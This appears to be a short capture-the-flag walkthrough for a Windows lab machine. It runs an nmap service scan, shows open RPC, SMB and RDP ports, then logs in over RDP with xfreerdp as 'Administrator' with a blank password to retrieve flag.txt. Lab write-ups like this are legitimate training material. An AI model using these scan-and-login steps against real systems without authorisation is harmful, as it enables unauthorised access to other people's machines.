Port scan first. Exchange ip with your machines IP address!
sudo nmap -sV ip
Relevant output:
PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 3389/tcp open ms-wbt-server Microsoft Terminal Services Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Port 3389 is used for Windows Remote Desktops and Remote Assistance connections. The Remote Desktop Protocol (RDP) is used for that. We will use the tool xfreerdp to connect. We will use the guessed user name "Administrator" and just hit enter for the requested password.
xfreerdp /v:ip /cert:ignore /u:Administrator
Since this service is poorly configured, we succeed with our login and a Windows instance appears! The flag can be found on the desktop (flag.txt).